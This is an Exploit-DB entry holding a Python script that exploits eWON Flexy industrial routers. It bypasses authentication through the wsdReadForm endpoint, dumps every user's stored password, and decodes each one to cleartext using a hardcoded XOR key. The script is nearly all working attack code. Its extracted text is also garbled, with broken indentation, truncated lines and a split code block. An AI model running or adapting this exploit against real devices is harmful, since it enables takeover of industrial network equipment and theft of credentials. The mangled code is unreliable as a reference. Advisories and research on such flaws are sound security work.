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eWON Flexy - Authentication Bypass

EDB-ID:

47380

CVE:

N/A

EDB Verified: 

Author:

[PHOTUBIAS](#)

Type:

[WEBAPPS](#)

Exploit:   / 

Platform:

[HARDWARE](#)

Date:

2019-09-11

Vulnerable App:



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```
#!/usr/bin/env python
'''
    # Exploit Title: eWON v13.0 Authentication Bypass
    # Date: 2018-10-12
    # Exploit Author: Photubias – tijl[dot]Deneut[at]Howest[dot]be for
www.ic4.be
    # Vendor Advisory: [1]
https://websupport.ewon.biz/support/news/support/ewon-security-enhancement-
131s0-0
    #                               [2]
https://websupport.ewon.biz/support/news/support/ewon-security-
vulnerability
    # Vendor Homepage: https://www.ewon.biz
    # Version: eWON Firmware 12.2 to 13.0
    # Tested on: eWON Flexy with Firmware 13.0s0

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    File name eWON-Flewy-Pwn.py
    written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be

    This script will perform retrieval of clear text credentials for an
eWON Flexy router
    Tested on the eWON Flexy 201 with Firmware 13.0s0
    Only requires a valid username (default = adm) and
    this user must have the Rights 'View IO' & 'Change Configuration'

    It combines two vulnerabilities: authentication bypass (fixed in
13.1s0)
    and a weak password encryption, allowing cleartext password
retrieval for all users (fixed in 13.3s0)
'''
username = 'adm'

import urllib2,urllib,base64,binascii,os

def decode(encpass):
xorString = "6414FE6F4C964746900208FC9B3904963A2F61"
def convertPass(password):
    if (len(password)/2) > 19:
        print('Error, password can not exceed 19 characters')
        exit()
    return hexxor(password, xorString[:len(password)])
def hexxor(a, b):
    return "".join(["%x" % (int(x,16) ^ int(y,16)) for (x, y) in zip(a,
b)])
if encpass.startswith('#_'):
    encpass = encpass.split('_')[2]
coded = base64.b64decode(encpass)
codedhex = binascii.hexlify(coded)[:4]
clearpass = binascii.unhexlify(convertPass(codedhex))
```



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```
print('Decoded password: ' + clearpass)
```

```
def getUserData(userid, strIP):
    postwsdlist =
    ["inf_HasJVM", "usr_FirstName|1", "usr_LastName|1", "usr_Login|1", "usr_Password
    postwsdlist = postwsdlist.replace('|1', '|' + str(userid))
    postdata = {'wsdList' : postwsdlist}
    b64auth = base64.b64encode(username+':').replace('=', '')
    result =
    urllib2.urlopen(urllib2.Request('http://' + strIP + '/wrcgi.bin/wsdReadForm', data
    , headers={'Authorization' : ' Basic ' + b64auth})).read()
    resultarr = result.split(",")
    if len(resultarr) == 20:
        fname = str(resultarr[1])
        lname = str(resultarr[2])
        usern = str(resultarr[3])
        if len(usern) == 0:
            return True
        encpassword = resultarr[4]
        print('Decoding pass for user: ' + usern + ' (' + fname + ' ' + lname + ') ')
        decode(encpassword)
        print('---')
        return True
    else:
        return True

strIP = raw_input('Please enter an IP [10.0.0.53]: ')
if strIP == '': strIP = '10.0.0.53'
print('---')

for i in range(20):
    if not getUserData(i, strIP):
        print('### That\'s all folks ;- ) ###')
        raw_input()
        exit(0)

raw_input('All Done')
```

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